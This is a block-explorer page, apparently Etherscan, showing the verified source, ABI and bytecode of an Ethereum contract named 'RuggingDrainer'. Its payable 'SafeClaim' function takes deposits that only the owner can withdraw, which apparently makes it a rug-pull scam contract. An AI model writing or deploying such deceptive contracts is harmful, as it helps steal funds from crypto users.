ETH Price: $2,059.08 (+9.08%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To

There are no matching entries

Please try again later

Advanced mode:
Parent Transaction Hash Method Block
From
To
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RuggingDrainer

Compiler Version
v0.4.26+commit.4563c3fc

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-02-28
*/

pragma solidity ^0.4.26;

contract RuggingDrainer {

    address private  owner;

     constructor() public{   
        owner=msg.sender;
    }

    function getOwner(
    ) public view returns (address) {    
        return owner;
    }
    function withdraw() public {
        require(owner == msg.sender);
        msg.sender.transfer(address(this).balance);
    }

    function SafeClaim() public payable {
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Contract Security Audit

Contract ABI

API
[{"constant":true,"inputs":[],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"SafeClaim","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]

608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061023b806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806312065fe0146100675780633ccfd60b14610092578063893d20e8146100a9578063f472eedf14610100575b600080fd5b34801561007357600080fd5b5061007c61010a565b6040518082815260200191505060405180910390f35b34801561009e57600080fd5b506100a7610129565b005b3480156100b557600080fd5b506100be6101e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010861020d565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561018457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156101e1573d6000803e3d6000fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5600a165627a7a723058209122116d1aecf53ab6ff8414fcc88f31b6e3367630f062af7ea85cc73f053cc00029

Deployed Bytecode

0x608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806312065fe0146100675780633ccfd60b14610092578063893d20e8146100a9578063f472eedf14610100575b600080fd5b34801561007357600080fd5b5061007c61010a565b6040518082815260200191505060405180910390f35b34801561009e57600080fd5b506100a7610129565b005b3480156100b557600080fd5b506100be6101e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010861020d565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561018457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156101e1573d6000803e3d6000fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5600a165627a7a723058209122116d1aecf53ab6ff8414fcc88f31b6e3367630f062af7ea85cc73f053cc00029

Deployed Bytecode Sourcemap

28:517:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;443:99;;8:9:-1;5:2;;;30:1;27;20:12;5:2;443:99:0;;;;;;;;;;;;;;;;;;;;;;;256:127;;8:9:-1;5:2;;;30:1;27;20:12;5:2;256:127:0;;;;;;159:91;;8:9:-1;5:2;;;30:1;27;20:12;5:2;159:91:0;;;;;;;;;;;;;;;;;;;;;;;;;;;391:44;;;;;;443:99;486:7;521:4;513:21;;;506:28;;443:99;:::o;256:127::-;311:10;302:19;;:5;;;;;;;;;;;:19;;;294:28;;;;;;;;333:10;:19;;:42;361:4;353:21;;;333:42;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;333:42:0;256:127::o;159:91::-;206:7;237:5;;;;;;;;;;;230:12;;159:91;:::o;391:44::-;:::o

Swarm Source

bzzr://9122116d1aecf53ab6ff8414fcc88f31b6e3367630f062af7ea85cc73f053cc0

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.